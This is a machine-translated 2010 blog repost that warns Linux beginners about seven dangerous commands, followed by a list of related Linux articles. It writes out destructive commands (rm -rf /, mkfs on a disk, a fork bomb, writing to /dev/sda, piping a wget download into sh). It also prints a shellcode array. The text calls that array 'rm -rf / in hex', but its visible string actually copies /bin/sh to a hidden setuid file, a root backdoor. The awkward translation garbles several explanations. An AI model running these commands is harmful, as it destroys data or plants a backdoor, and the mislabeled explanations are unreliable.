[Change] seven deadly linux command

2010-03-08  来源:本站原创  分类:OS  人气:180 

If you are a Linux novice, in curiosity, may be to try to order from various sources. Here are seven deadly Linux commands, ranging from loss caused to your data, then re-enable your system causing paralysis, so you should strive to avoid the system running.

  1. rm -rf / This command will recursively and force delete / directory all the files.
  2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    

    This is rm-rf / in hex (hexadecimal) version, it can confuse Linux users.

  3. mkfs.ext3 /dev/sda This will reformat the hard disk, naturally, all the data on the hard disk will be ashes.
  4. :(){ :|:& };: famous fork bomb, this command will tell your system to perform mass of the process until your system is dead.
  5. any_command > /dev/sda use this command, the original data will be written to block devices, resulting in data loss.
  6. wget http://some_untrusted_source -O- | sh do not trust the place to download anything, this may get malicious code.
  7. mv /home/yourhomedirectory/* /dev/null This command will move all the files in the main directory to a place that does not exist, you will never see those documents.

If you think there are other deadly Linux commands, then please tell us in the message.

相关文章
  • [Change] seven deadly linux command 2010-03-08

    If you are a Linux novice, in curiosity, may be to try to order from various sources. Here are seven deadly Linux commands, ranging from loss caused to your data, then re-enable your system causing paralysis, so you should strive to avoid the system

  • I used the Linux command cd - change current working directory 2010-10-21

    I used the Linux command cd - change current working directory This link: http://codingstandards.javaeye.com/blog/790088 (reprint, please indicate the source) Use Description cd command is the most commonly used commands, a few are ls, pwd. It is use

  • I used Linux command of the cd - change current working directory 2010-10-21

    I used Linux command of the cd - change current working directory This link: http://codingstandards.iteye.com/blog/790088 (reproduced please indicate the source) Use Description cd command is the most commonly used commands, a few are ls, pwd. It is

  • I used the Linux command chmod - change file / directory access permissions 2011-08-03

    I used the Linux command chmod - change file / directory access permissions This link: http://codingstandards.iteye.com/blog/1139523 (reproduced please indicate the source) Use Description chmod to change file or directory access permissions. Linux /

  • [Change] 6 Linux command line tool performance monitoring 2010-07-06

    6 Linux command line tool performance monitoring 1. Htop - http://htop.sourceforge.net/ Allows users to interact with a process viewer. As a text mode application, mainly used for console or X terminal. Currently has under way to see the process tree

  • The most common Linux command basic operations 2010-03-25

    Linux command basic operations http://www.chinaitpower.com/A/2003-02-18/50468.html First introduced the term "console (console)", it is the use of characters we usually see the interface of man-machine interface, such as dos. We say that the con

  • Xiang Jie common Linux command line svn command 2010-03-31

    This article describes common Linux command line use svn command, in the hope of help to you. 1, Linux command line checkout files to a local directory svn checkout path (path is the directory on the server) For example: svn checkout svn: / / 192.168

  • tar linux command description 2010-04-19

    tar linux command description Introduction Parameters: -C: create a compressed file parameter commands (create meaning); -X: solve the parameters of a compressed file instructions! -T: view files inside tarfile! Particular attention to issue of the p

  • linux command Daquan 2010-07-07

    http://www.pixelbeat.org/cmdline.html This is a linux command line reference for common operations. Examples marked with • are valid / safe to paste without modification into a terminal, so you may want to keep a Terminal window Open while reading th

  • Linux command line editing shortcuts 2010-07-11

    Linux command line editing shortcuts: history shows the command history list ↑ (Ctrl + p) display a command ↓ (Ctrl + n) show the next command! Num execute the command history list, the first num Order!! Enforcement of an order! ? string? implementat

  • Linux command line, modify the IP. Gateway. DNS method 2010-07-14

    Linux command line, modify the IP, gateway, DNS method Way: ifconfig eth0 192.168.1.18 netmask 255.255.255.0 Description: The ways you can make changes take effect immediately, restart will revert to the original IP The second way: vi / etc/sysconfig

  • Development of Linux command line utility 2010-09-21

    http://www.ibm.com/developerworks/cn/linux/shell/clutil/ This article will guide you to learn how to write even to the end user, simple enough Linux command line utility. This paper outlines best practices and reliable command-line start, and a detai

  • Linux command line Daquan 2010-09-27

    The following is reproduced: Linux command line operation simple and efficient, the number is a bit more. linuxguide.it compiled more than 350 Linux command line command, and the corresponding instructions for you to use Quick Check. Linux novice or

  • I used the Linux command for 2010-10-08

    I used the Linux command for This link: http://codingstandards.javaeye.com/blog/778999 (reprint, please indicate the source) Use Description Shell used in recycling. Similar to other programming languages for, but a little different. Bash for loop is

  • I used Linux command of the touch 2010-10-11

    I used Linux command of the touch This link: http://codingstandards.javaeye.com/blog/781916 (reprint, please indicate the source) Use Description touch command is often used to create an empty file or update the file time. The purpose of creating an

  • I used the Linux command echo 2010-10-15

    I used the Linux command echo This link: http://codingstandards.javaeye.com/blog/786101 (reprint, please indicate the source) Use Description echo command to print the information, is one of the most commonly used commands. The command line used to p

  • [Transfer] linux command word 2010-10-21

    linux command word Transfer from: http://bbs.linuxtone.org/thread-16-1-1.html 1. Delete 0 byte file find-type f-size 0-exec rm-rf {} \; 2. View the process by descending order of memory ps-e-o "% C:% p:% z:% a" | sort-k5-nr 3. Descending order b

  • I used the Linux command dirname - the interception of a given part of the path of the directory 2010-11-01

    I used the Linux command dirname - the interception of a given part of the path of the directory This link: http://codingstandards.javaeye.com/blog/800028 (reprint, please indicate the source) Use Description dirname command can take some of the give

  • I used the Linux command help - display help information Bash built-in command 2010-11-06

    I used the Linux command help - display help information Bash built-in command This link: http://codingstandards.javaeye.com/blog/804620 (reprint, please indicate the source) Use Description help command to display help information by definition is,

  • I used Linux command of the hostname - show or set the hostname 2010-11-06

    I used Linux command of the hostname - show or set the hostname This link: http://codingstandards.javaeye.com/blog/804648 (reprint, please indicate the source) Use Description hostname command can be used to display or set the host name (show or set